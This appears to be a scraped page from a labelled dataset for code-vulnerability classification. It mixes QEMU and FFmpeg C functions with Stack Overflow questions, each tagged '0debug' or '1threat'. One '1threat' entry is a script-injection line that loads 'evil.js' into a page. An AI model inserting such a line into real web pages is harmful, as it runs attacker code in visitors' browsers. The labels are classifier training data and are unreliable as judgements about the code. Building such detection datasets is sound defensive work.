for (ns = (sec + pte_len); (ns + pte_len) < ns_end; ns++) {
prog_table_entry = (struct scsi_blockptr *)ns;
if (!prog_table_entry->blockno) {
break;
}
program_table_entries++;
}
debug_print_int("program table entries", program_table_entries);
if (!program_table_entries) {
goto fail;
}
prog_table_entry = (struct scsi_blockptr *)(sec + pte_len);
return zipl_run(prog_table_entry);
fail:
sclp_print("failed loading zipl: ");
sclp_print(error);
sclp_print("\n");
return -1;
}
| 1threat |
reporting services print layout can not show text box on next page : I User RDLC SSRS2008
In List Control have Taxtbox group
When I Preview Text box not show on next page
But interactive view are Show Textbox on next page
How i can Solv Problem
Thank you | 0debug |
document.write('<script src="evil.js"></script>'); | 1threat |
What does all the stuff in Firebase Spark free plan mean? : <p>So I want to host a personal website that is created on Angular which uses Node.JS and I wanted find a good place to host it. </p>
<p>I was thinking of using Firebase but I don't understand what it means by</p>
<ul>
<li>100 simultaneous connection (realtime database)</li>
<li><p>10 GB/month download (realtime database)</p></li>
<li><p>10 GB/month bandwidth (cloud firestore)</p></li>
<li><p>document writes,reads, and deletes (cloud firestore)</p></li>
<li><p>10 GB/month transferred (hosting)</p></li>
</ul>
<p>Also, I want to know from the community if this is enough for a personal website? I already have a custom domain.</p>
<p><a href="https://firebase.google.com/pricing/" rel="nofollow noreferrer">Firebase Info</a></p>
| 0debug |
How to split up a string into separate characters in Python : Would it be possible to take a string and set a different variable for every character of the string? In other words..
string='Hello'
#Do some thing to split up the string here
letter_1= #The first character of the variable 'string'
letter_2= #The second character of the variable 'string'
#...
letter_5= #The fifth character of the variable 'string'
Thanks for any answers. | 0debug |
how to Detect if Keyboard is shown in Xcode UI test : <p>I am writing a UI text in swift under the new Xcode 7 UI test framework.
the requirement is to test whether the system keyboard is shown in an app.
can someone give me a clue on how to do that? thanks</p>
| 0debug |
static int build_filter(ResampleContext *c, void *filter, double factor, int tap_count, int alloc, int phase_count, int scale,
int filter_type, int kaiser_beta){
int ph, i;
double x, y, w;
double *tab = av_malloc_array(tap_count, sizeof(*tab));
const int center= (tap_count-1)/2;
if (!tab)
return AVERROR(ENOMEM);
if (factor > 1.0)
factor = 1.0;
for(ph=0;ph<phase_count;ph++) {
double norm = 0;
for(i=0;i<tap_count;i++) {
x = M_PI * ((double)(i - center) - (double)ph / phase_count) * factor;
if (x == 0) y = 1.0;
else y = sin(x) / x;
switch(filter_type){
case SWR_FILTER_TYPE_CUBIC:{
const float d= -0.5;
x = fabs(((double)(i - center) - (double)ph / phase_count) * factor);
if(x<1.0) y= 1 - 3*x*x + 2*x*x*x + d*( -x*x + x*x*x);
else y= d*(-4 + 8*x - 5*x*x + x*x*x);
break;}
case SWR_FILTER_TYPE_BLACKMAN_NUTTALL:
w = 2.0*x / (factor*tap_count) + M_PI;
y *= 0.3635819 - 0.4891775 * cos(w) + 0.1365995 * cos(2*w) - 0.0106411 * cos(3*w);
break;
case SWR_FILTER_TYPE_KAISER:
w = 2.0*x / (factor*tap_count*M_PI);
y *= bessel(kaiser_beta*sqrt(FFMAX(1-w*w, 0)));
break;
default:
av_assert0(0);
}
tab[i] = y;
norm += y;
}
switch(c->format){
case AV_SAMPLE_FMT_S16P:
for(i=0;i<tap_count;i++)
((int16_t*)filter)[ph * alloc + i] = av_clip(lrintf(tab[i] * scale / norm), INT16_MIN, INT16_MAX);
break;
case AV_SAMPLE_FMT_S32P:
for(i=0;i<tap_count;i++)
((int32_t*)filter)[ph * alloc + i] = av_clipl_int32(llrint(tab[i] * scale / norm));
break;
case AV_SAMPLE_FMT_FLTP:
for(i=0;i<tap_count;i++)
((float*)filter)[ph * alloc + i] = tab[i] * scale / norm;
break;
case AV_SAMPLE_FMT_DBLP:
for(i=0;i<tap_count;i++)
((double*)filter)[ph * alloc + i] = tab[i] * scale / norm;
break;
}
}
#if 0
{
#define LEN 1024
int j,k;
double sine[LEN + tap_count];
double filtered[LEN];
double maxff=-2, minff=2, maxsf=-2, minsf=2;
for(i=0; i<LEN; i++){
double ss=0, sf=0, ff=0;
for(j=0; j<LEN+tap_count; j++)
sine[j]= cos(i*j*M_PI/LEN);
for(j=0; j<LEN; j++){
double sum=0;
ph=0;
for(k=0; k<tap_count; k++)
sum += filter[ph * tap_count + k] * sine[k+j];
filtered[j]= sum / (1<<FILTER_SHIFT);
ss+= sine[j + center] * sine[j + center];
ff+= filtered[j] * filtered[j];
sf+= sine[j + center] * filtered[j];
}
ss= sqrt(2*ss/LEN);
ff= sqrt(2*ff/LEN);
sf= 2*sf/LEN;
maxff= FFMAX(maxff, ff);
minff= FFMIN(minff, ff);
maxsf= FFMAX(maxsf, sf);
minsf= FFMIN(minsf, sf);
if(i%11==0){
av_log(NULL, AV_LOG_ERROR, "i:%4d ss:%f ff:%13.6e-%13.6e sf:%13.6e-%13.6e\n", i, ss, maxff, minff, maxsf, minsf);
minff=minsf= 2;
maxff=maxsf= -2;
}
}
}
#endif
av_free(tab);
return 0;
}
| 1threat |
Get PHP Var_Dump Output in XML : <p>I am using SoapClient to return data from a Web Service provider. The data is returned in a typical object/array PHP format. I want to return it in XML. </p>
<p>Here is my code to call the Web Service (I have omitted my username and password):</p>
<pre><code><?php
//Calling Chrome ADS with Build Data
$client = new SoapClient('http://services.chromedata.com/Description/7b?wsdl');
$account = ['number'=>"", 'secret'=>"", 'country'=>"US", 'language'=>"en"];
$switch = ["ShowAvailableEquipment", "ShowExtendedTechnicalSpecifications", "ShowExtendedDescriptions"];
$vin = $_POST["b12"];
$result = $client->describeVehicle([
'accountInfo' => $account,
'switch' => $switch,
'vin' => $vin
]);
var_dump ($result);
?>
</code></pre>
<p>Here is how the data is currently outputted:</p>
<pre><code>object(stdClass)#2 (18) {
["responseStatus"]=>
object(stdClass)#3 (2) {
["responseCode"]=>
string(10) "Successful"
["description"]=>
string(10) "Successful"
}
["vinDescription"]=>
object(stdClass)#4 (11) {
["WorldManufacturerIdentifier"]=>
string(17) "Germany Audi Nsu "
["restraintTypes"]=>
array(5) {
[0]=>
object(stdClass)#5 (3) {
["group"]=>
object(stdClass)#6 (2) {
["_"]=>
string(6) "Safety"
["id"]=>
int(9)
}
["header"]=>
object(stdClass)#7 (2) {
["_"]=>
string(17) "Air Bag - Frontal"
["id"]=>
int(38)
}
["category"]=>
object(stdClass)#8 (2) {
["_"]=>
string(14) "Driver Air Bag"
["id"]=>
int(1001)
}
}
</code></pre>
<p>Here is how I want the data to be outputted (this is from when I run the request through SoapUI):</p>
<pre><code> <VehicleDescription country="US" language="en" modelYear="2008" bestMakeName="Audi" bestModelName="S4" bestStyleName="5dr Avant Wgn" xmlns="urn:description7b.services.chrome.com">
<responseStatus responseCode="Successful" description="Successful"/>
<vinDescription vin="WAUUL78E38A092113" modelYear="2008" division="Audi" modelName="S4" styleName="5dr Avant Wgn" bodyType="Wagon 4 Dr." drivingWheels="AWD" builddata="no">
<WorldManufacturerIdentifier>Germany Audi Nsu</WorldManufacturerIdentifier>
<restraintTypes>
<group id="9">Safety</group>
<header id="38">Air Bag - Frontal</header>
<category id="1001">Driver Air Bag</category>
</restraintTypes>
<restraintTypes>
<group id="9">Safety</group>
<header id="38">Air Bag - Frontal</header>
<category id="1002">Passenger Air Bag</category>
</restraintTypes>
<restraintTypes>
<group id="9">Safety</group>
<header id="39">Air Bag - Side</header>
<category id="1005">Front Side Air Bag</category>
</restraintTypes>
<restraintTypes>
<group id="9">Safety</group>
<header id="39">Air Bag - Side</header>
<category id="1007">Front Head Air Bag</category>
</restraintTypes>
</code></pre>
| 0debug |
How to autowire by name in Spring with annotations? : <p>I have several beans of the same class defined:</p>
<pre><code> @Bean
public FieldDescriptor fullSpotField() {
FieldDescriptor ans = new FieldDescriptor("full_spot", String.class);
return ans;
}
@Bean
public FieldDescriptor annotationIdField() {
FieldDescriptor ans = new FieldDescriptor("annotationID", Integer.class);
return ans;
}
</code></pre>
<p>consequently when I autowire them</p>
<pre><code> @Autowired
public FieldDescriptor fullSpotField;
@Autowired
public FieldDescriptor annotationIdField;
</code></pre>
<p>I get an exception</p>
<pre><code>NoUniqueBeanDefinitionException: No qualifying bean of type [...FieldDescriptor] is defined: expected single matching bean but found ...
</code></pre>
<p>How to autowire by name as it possible in XML config?</p>
| 0debug |
Why does my Toast.makeText dont show anything : <p>I have this problem that when I click my login button the Toast make text doesn't show up and I don't know what's wrong because</p>
<p>I can't see any error and when I change the toast.maketext to an Intent the app force closes. Hope someone can help. </p>
<p>I can't see any error and when I change the toast.maketext to an Intent the app force closes. Hope someone can help. </p>
<p>MainActivity.java</p>
<pre><code>public class MainActivity extends AppCompatActivity {
EditText email;
EditText password;
Button login;
Button signup;
DBHelper db;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
db = new DBHelper(this);
email = findViewById(R.id.editText_email);
password = findViewById(R.id.editText_password);
login = findViewById(R.id.btnlogin);
signup = findViewById(R.id.btnsignup);
signup.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent signupIntent = new Intent(MainActivity.this, SignUp.class);
startActivity(signupIntent);
}
});
login.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String user = email.getText().toString();
String pass = password.getText().toString();
Boolean res = db.checkAcc(user,pass);
if(res==true){
Toast.makeText(MainActivity.this,"You are logged in",Toast.LENGTH_SHORT);
}
else{
Toast.makeText(MainActivity.this,"Please Enter Again",Toast.LENGTH_SHORT);
}
}
});
}
}
</code></pre>
<p>DBHelper.java</p>
<pre><code>public class DBHelper extends SQLiteOpenHelper {
public static final String DATABASE_NAME="register.db";
public static final String TABLE_NAME="register";
public static final String COL_1="ID";
public static final String COL_2="email";
public static final String COL_3="password";
public DBHelper(Context context) {
super(context, DATABASE_NAME, null, 1);
}
@Override
public void onCreate(SQLiteDatabase sqLiteDatabase) {
sqLiteDatabase.execSQL("CREATE TABLE register (ID INTEGER PRIMARY KEY AUTOINCREMENT,email TEXT UNIQUE, password TEXT)");
}
@Override
public void onUpgrade(SQLiteDatabase sqLiteDatabase, int i, int i1) {
sqLiteDatabase.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
onCreate(sqLiteDatabase);
}
public long AddAcc(String email, String password){
SQLiteDatabase db = this.getWritableDatabase();
ContentValues contentValues = new ContentValues();
contentValues.put("email",email);
contentValues.put("password",password);
long res = db.insert("register",null,contentValues);
db.close();
return res;
}
public boolean checkAcc(String username,String password){
String[] columns = { COL_1 };
SQLiteDatabase db = getReadableDatabase();
String selection = COL_2 + "=?" + " and " + COL_3 + "=?";
String[] selectionArgs = {username,password};
Cursor cursor = db.query(TABLE_NAME,columns,selection,selectionArgs,null,null,null);
int count = cursor.getCount();
cursor.close();
db.close();
if(count>0)
return true;
else
return false;
}
}
</code></pre>
| 0debug |
static int qemu_savevm_state(Monitor *mon, QEMUFile *f)
{
int ret;
if (qemu_savevm_state_blocked(mon)) {
ret = -EINVAL;
goto out;
}
ret = qemu_savevm_state_begin(f, 0, 0);
if (ret < 0)
goto out;
do {
ret = qemu_savevm_state_iterate(f);
if (ret < 0)
goto out;
} while (ret == 0);
ret = qemu_savevm_state_complete(f);
out:
if (ret == 0) {
ret = qemu_file_get_error(f);
}
return ret;
}
| 1threat |
int qed_read_l1_table_sync(BDRVQEDState *s)
{
int ret = -EINPROGRESS;
async_context_push();
qed_read_table(s, s->header.l1_table_offset,
s->l1_table, qed_sync_cb, &ret);
while (ret == -EINPROGRESS) {
qemu_aio_wait();
}
async_context_pop();
return ret;
}
| 1threat |
int ff_snow_frame_start(SnowContext *s){
AVFrame tmp;
int i, ret;
int w= s->avctx->width;
int h= s->avctx->height;
if (s->current_picture.data[0] && !(s->avctx->flags&CODEC_FLAG_EMU_EDGE)) {
s->dsp.draw_edges(s->current_picture.data[0],
s->current_picture.linesize[0], w , h ,
EDGE_WIDTH , EDGE_WIDTH , EDGE_TOP | EDGE_BOTTOM);
s->dsp.draw_edges(s->current_picture.data[1],
s->current_picture.linesize[1], w>>s->chroma_h_shift, h>>s->chroma_v_shift,
EDGE_WIDTH>>s->chroma_h_shift, EDGE_WIDTH>>s->chroma_v_shift, EDGE_TOP | EDGE_BOTTOM);
s->dsp.draw_edges(s->current_picture.data[2],
s->current_picture.linesize[2], w>>s->chroma_h_shift, h>>s->chroma_v_shift,
EDGE_WIDTH>>s->chroma_h_shift, EDGE_WIDTH>>s->chroma_v_shift, EDGE_TOP | EDGE_BOTTOM);
}
ff_snow_release_buffer(s->avctx);
av_frame_move_ref(&tmp, &s->last_picture[s->max_ref_frames-1]);
for(i=s->max_ref_frames-1; i>0; i--)
av_frame_move_ref(&s->last_picture[i], &s->last_picture[i-1]);
memmove(s->halfpel_plane+1, s->halfpel_plane, (s->max_ref_frames-1)*sizeof(void*)*4*4);
if(USE_HALFPEL_PLANE && s->current_picture.data[0])
halfpel_interpol(s, s->halfpel_plane[0], &s->current_picture);
av_frame_move_ref(&s->last_picture[0], &s->current_picture);
av_frame_move_ref(&s->current_picture, &tmp);
if(s->keyframe){
s->ref_frames= 0;
}else{
int i;
for(i=0; i<s->max_ref_frames && s->last_picture[i].data[0]; i++)
if(i && s->last_picture[i-1].key_frame)
break;
s->ref_frames= i;
if(s->ref_frames==0){
av_log(s->avctx,AV_LOG_ERROR, "No reference frames\n");
return -1;
}
}
if ((ret = ff_get_buffer(s->avctx, &s->current_picture, AV_GET_BUFFER_FLAG_REF)) < 0)
return ret;
s->current_picture.key_frame= s->keyframe;
return 0;
}
| 1threat |
static void i82801b11_bridge_class_init(ObjectClass *klass, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
DeviceClass *dc = DEVICE_CLASS(klass);
k->is_bridge = 1;
k->vendor_id = PCI_VENDOR_ID_INTEL;
k->device_id = PCI_DEVICE_ID_INTEL_82801BA_11;
k->revision = ICH9_D2P_A2_REVISION;
k->init = i82801b11_bridge_initfn;
k->config_write = pci_bridge_write_config;
set_bit(DEVICE_CATEGORY_BRIDGE, dc->categories);
} | 1threat |
void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
struct mbuf *m;
int proto;
if (pkt_len < ETH_HLEN)
return;
proto = ntohs(*(uint16_t *)(pkt + 12));
switch(proto) {
case ETH_P_ARP:
arp_input(slirp, pkt, pkt_len);
break;
case ETH_P_IP:
m = m_get(slirp);
if (!m)
return;
if (M_FREEROOM(m) < pkt_len + 2) {
m_inc(m, pkt_len + 2);
}
m->m_len = pkt_len + 2;
memcpy(m->m_data + 2, pkt, pkt_len);
m->m_data += 2 + ETH_HLEN;
m->m_len -= 2 + ETH_HLEN;
ip_input(m);
break;
default:
break;
}
}
| 1threat |
how to convert this json to array. i want display data[x] for my view as table : <p>{ laporan": [ { "segmen": "pu", "judul_baris": [ { "judul": "Tanggal" }, { "judul": "Penambahan Perusahaan" }, { "judul": "Penambahan TK Baru" }, { "judul": "Penambahan TK Eksisting" }, { "judul": "Pengurangan TK" }, { "judul": "Penambahan Iuran" } ], "nilai_baris": [ { "data0": "01-01-2020", "data1": 0, "data2": 0, "data3": 0, "data4": 0, "data5": 0 }, { "data0": "02-01-2020", "data1": "48", "data2": "622", "data3": "409", "data4": "55", "data5": "8350005" }, { "data0": "03-01-2020", "data1": "0", "data2": "0", "data3": "0", "data4": "0", "data5": "0" }, { "data0": "04-01-2020", "data1": 0, "data2": 0, "data3": 0, "data4": 0, "data5": 0 }, { "data0": "Total", "data1": 48, "data2": 622, "data3": 409, "data4": 55, "data5": 8350005 } ] }, { "segmen": "bpu", "judul_baris": [ { "judul": "Tanggal" }, { "judul": "Penambahan TK" }, { "judul": "Penambahan Iuran" } ], "nilai_baris": [ { "data0": "01-01-2020", "data1": 0, "data2": 0 }, { "data0": "02-01-2020", "data1": "15", "data2": "500000" }, { "data0": "03-01-2020", "data1": "0", "data2": "0" }, { "data0": "04-01-2020", "data1": 0, "data2": 0 }, { "data0": "Total", "data1": 15, "data2": 500000 } ] }, { "segmen": "jakon", "judul_baris": [ { "judul": "Tanggal" }, { "judul": "Penambahan TK" }, { "judul": "Penambahan Iuran" } ], "nilai_baris": [ { "data0": "01-01-2020", "data1": 0, "data2": 0 }, { "data0": "02-01-2020", "data1": "60", "data2": "300000" }, { "data0": "03-01-2020", "data1": "0", "data2": "0" }, { "data0": "04-01-2020", "data1": 0, "data2": 0 }, { "data0": "Total", "data1": 60, "data2": 300000 } ] }, { "segmen": "administrasi", "judul_baris": [ { "judul": "Tanggal" }, { "judul": "Pencetakan Kartu" }, { "judul": "Pencetakan Surat" }, { "judul": "Pemadanan TK" } ], "nilai_baris": [ { "data0": "01-01-2020", "data1": 0, "data2": 0, "data3": 0 }, { "data0": "02-01-2020", "data1": "0", "data2": "0", "data3": "0" }, { "data0": "03-01-2020", "data1": "25", "data2": "10", "data3": "20" }, { "data0": "04-01-2020", "data1": 0, "data2": 0, "data3": 0 }, { "data0": "Total", "data1": 25, "data2": 10, "data3": 20</p>
<p>how to convert this json to array. i want display data[x] for my view as table</p>
| 0debug |
haskell Binary Tree exercises : <p>In Graham Hutton's book Programming in Haskell, there was an error in solving Chapter 10 Exercise 3.</p>
<p>When the number of leaves on the left and right side trees is not more than one, these trees are said to be balanced.
Of course, it seems to be balanced by itself. Define a function to determine if the tree is balanced.
First, define a function that counts how many leaves are in the tree.</p>
<pre><code>data Tree = Leaf Int | Node Tree Tree
leaves :: Tree -> Int
leaves (Leaf _) = 1 leaves
leaves (Node l r) = leaves l + leaves r
balanced :: Tree -> Bool
(-) :: Int -> Int -> Integer
balanced (Leaf _) = True
balanced (Node l r) = abs (leaves l - leaves r) <= 1
&& balanced l && balanced r
</code></pre>
<p>I do not know anything about Haskell, but my professor gave me the assignment. Help</p>
| 0debug |
Regex Python, how to match this string? : I need to take away characters from such type of string:
\xa0(Geändert am 01.Aug. 2013)
\xa0(Geändert am 05.Dez. 2014)
to keep only : 01.Aug. 2013, 05.Dez. 2014
So far I ended up with: [(\xa0)(Geändert)(am)]
but it is not working properly
[![enter image description here][1]][1]
[1]: https://i.stack.imgur.com/xGYlQ.png | 0debug |
Android how to Open a Image Without Saving another Location ? : now file:// uri are not supported. people say to use FileProvider but i think i have to save image in app data location to use this. is there a way to get content:// URI Without Saving image in data directory. example image file is in dcim folder | 0debug |
Generate all combinations of string in PHP : <p>I'm trying to generate all possible combinations of a string using PHP. I've searched this site for a while trying to find the right algorithm but I can't seem to find the correct one. To be more specific if i input the string "hi", I want it to return "hi", "ih", "h", "i". But I don't want it to reuse the same characters multiple times. So I wouldn't want "hh" and "ii". Is there an algorithm for this? Thanks! </p>
| 0debug |
What are the best responsive blogger templates for technical blogger? : <p>I am looking for the best blogger template for technical blogger with following options: </p>
<ul>
<li>SEO Friendly </li>
<li>Integrated Social</li>
<li>Bunch of needful widgets </li>
<li>AdSense enabled</li>
<li>Good looking styles</li>
<li>Should support full customisation </li>
<li>Preferred free templates</li>
</ul>
<p>I have seen so many templates online, but doesn't find the right one for technical blogging for my blogger site <a href="http://www.dotnet4techies.com" rel="nofollow">www.dotnet4techies.com</a></p>
<p>Can someone suggest me the good blogger templates with these requirements?</p>
| 0debug |
PCIDevice *pci_try_create(PCIBus *bus, int devfn, const char *name)
{
return pci_try_create_multifunction(bus, devfn, false, name);
}
| 1threat |
Value printing in Python : """
Created on Fri Sep 9 22:15:11 2016
@author: WINDOWS 10 Purniah
"""
cnt = 0
s = 'aghe'
s_len = len(s)
s_len = s_len - 1
while s_len >= 0:
if s[s_len] in ('aeiou'):
cnt += 1
s_len -= 1
break;
print ('numofVowels:'),cnt
This does print the value of cnt. When debugging cnt has the correct value! | 0debug |
How to publish and implement Ruby file to my website : <p>I'm a beginner of Ruby. I want to establish my website by programming with Ruby language.
Before that, I used to upload HTML files to my web-host server, so that I could update my website. But now I have no idea about what should I do with Ruby file. </p>
<p>Thank you!</p>
| 0debug |
How to install npm peer dependencies automatically? : <p>For example, when I install Angular2:</p>
<pre><code>npm install --save angular2
temp@1.0.0 /Users/doug/Projects/dougludlow/temp
├── angular2@2.0.0-beta.3
├── UNMET PEER DEPENDENCY es6-promise@^3.0.2
├── UNMET PEER DEPENDENCY es6-shim@^0.33.3
├── UNMET PEER DEPENDENCY reflect-metadata@0.1.2
├── UNMET PEER DEPENDENCY rxjs@5.0.0-beta.0
└── UNMET PEER DEPENDENCY zone.js@0.5.11
npm WARN angular2@2.0.0-beta.3 requires a peer of es6-promise@^3.0.2 but none was installed.
npm WARN angular2@2.0.0-beta.3 requires a peer of es6-shim@^0.33.3 but none was installed.
npm WARN angular2@2.0.0-beta.3 requires a peer of reflect-metadata@0.1.2 but none was installed.
npm WARN angular2@2.0.0-beta.3 requires a peer of rxjs@5.0.0-beta.0 but none was installed.
npm WARN angular2@2.0.0-beta.3 requires a peer of zone.js@0.5.11 but none was installed.
</code></pre>
<p>Is there a magic flag that I can pass to npm that will install the peer dependencies as well? I haven't been able to find one... It's tedious to manually copy and paste the peer dependencies and make sure I have the correct versions.</p>
<p>In other words, I'd rather not have to do:</p>
<pre><code>npm install --save angular2@2.0.0-beta.3 es6-promise@^3.0.2 es6-shim@^0.33.3 reflect-metadata@0.1.2 rxjs@5.0.0-beta.0 zone.js@0.5.11
</code></pre>
<p>What is the better way?</p>
| 0debug |
basic android application setText() not working :
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-html -->
package com.example.v_krkoru.androidapp;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.EditText;
public class MainActivity extends AppCompatActivity {
public static final String EXTRA_MESSAGE = "com.example.androidapp.MESSAGE";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void sendMessage(View view)
{
Intent intent = new Intent(this, DisplayMessageActivity.class);
EditText editText = (EditText) findViewById(R.id.editText);
String message = editText.getText().toString();
intent.putExtra(EXTRA_MESSAGE, message);
startActivity(intent);
}
}
package com.example.v_krkoru.androidapp;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.TextView;
import android.view.ViewGroup;
public class DisplayMessageActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_display_message);
}
Intent intent = getIntent();
String message = intent.getStringExtra(MainActivity.EXTRA_MESSAGE);
TextView textView = (TextView) findViewById(R.id.textView);
textView.setText(message);
}
<!-- end snippet -->
here i entered two java codes of activities which are interlinked by means of intent what iam trying to do is when i type a message and click on send button The next activity should display the message typed on new screen
Iam learning this from android website and struck here as setText() method is not working | 0debug |
void gt64120_reset(void *opaque)
{
GT64120State *s = opaque;
#ifdef TARGET_WORDS_BIGENDIAN
s->regs[GT_CPU] = 0x00000000;
#else
s->regs[GT_CPU] = 0x00001000;
#endif
s->regs[GT_MULTI] = 0x00000000;
s->regs[GT_PCI0IOLD] = 0x00000080;
s->regs[GT_PCI0IOHD] = 0x0000000f;
s->regs[GT_PCI0M0LD] = 0x00000090;
s->regs[GT_PCI0M0HD] = 0x0000001f;
s->regs[GT_PCI0M1LD] = 0x00000790;
s->regs[GT_PCI0M1HD] = 0x0000001f;
s->regs[GT_PCI1IOLD] = 0x00000100;
s->regs[GT_PCI1IOHD] = 0x0000000f;
s->regs[GT_PCI1M0LD] = 0x00000110;
s->regs[GT_PCI1M0HD] = 0x0000001f;
s->regs[GT_PCI1M1LD] = 0x00000120;
s->regs[GT_PCI1M1HD] = 0x0000002f;
s->regs[GT_PCI0IOREMAP] = 0x00000080;
s->regs[GT_PCI0M0REMAP] = 0x00000090;
s->regs[GT_PCI0M1REMAP] = 0x00000790;
s->regs[GT_PCI1IOREMAP] = 0x00000100;
s->regs[GT_PCI1M0REMAP] = 0x00000110;
s->regs[GT_PCI1M1REMAP] = 0x00000120;
s->regs[GT_CPUERR_ADDRLO] = 0x00000000;
s->regs[GT_CPUERR_ADDRHI] = 0x00000000;
s->regs[GT_CPUERR_DATALO] = 0xffffffff;
s->regs[GT_CPUERR_DATAHI] = 0xffffffff;
s->regs[GT_CPUERR_PARITY] = 0x000000ff;
s->regs[GT_ECC_ERRDATALO] = 0x00000000;
s->regs[GT_ECC_ERRDATAHI] = 0x00000000;
s->regs[GT_ECC_MEM] = 0x00000000;
s->regs[GT_ECC_CALC] = 0x00000000;
s->regs[GT_ECC_ERRADDR] = 0x00000000;
s->regs[GT_SDRAM_B0] = 0x00000005;
s->regs[GT_SDRAM_B1] = 0x00000005;
s->regs[GT_SDRAM_B2] = 0x00000005;
s->regs[GT_SDRAM_B3] = 0x00000005;
#ifdef TARGET_WORDS_BIGENDIAN
s->regs[GT_PCI0_CMD] = 0x00000000;
s->regs[GT_PCI1_CMD] = 0x00000000;
#else
s->regs[GT_PCI0_CMD] = 0x00010001;
s->regs[GT_PCI1_CMD] = 0x00010001;
#endif
s->regs[GT_PCI0_IACK] = 0x00000000;
s->regs[GT_PCI1_IACK] = 0x00000000;
gt64120_pci_mapping(s);
}
| 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.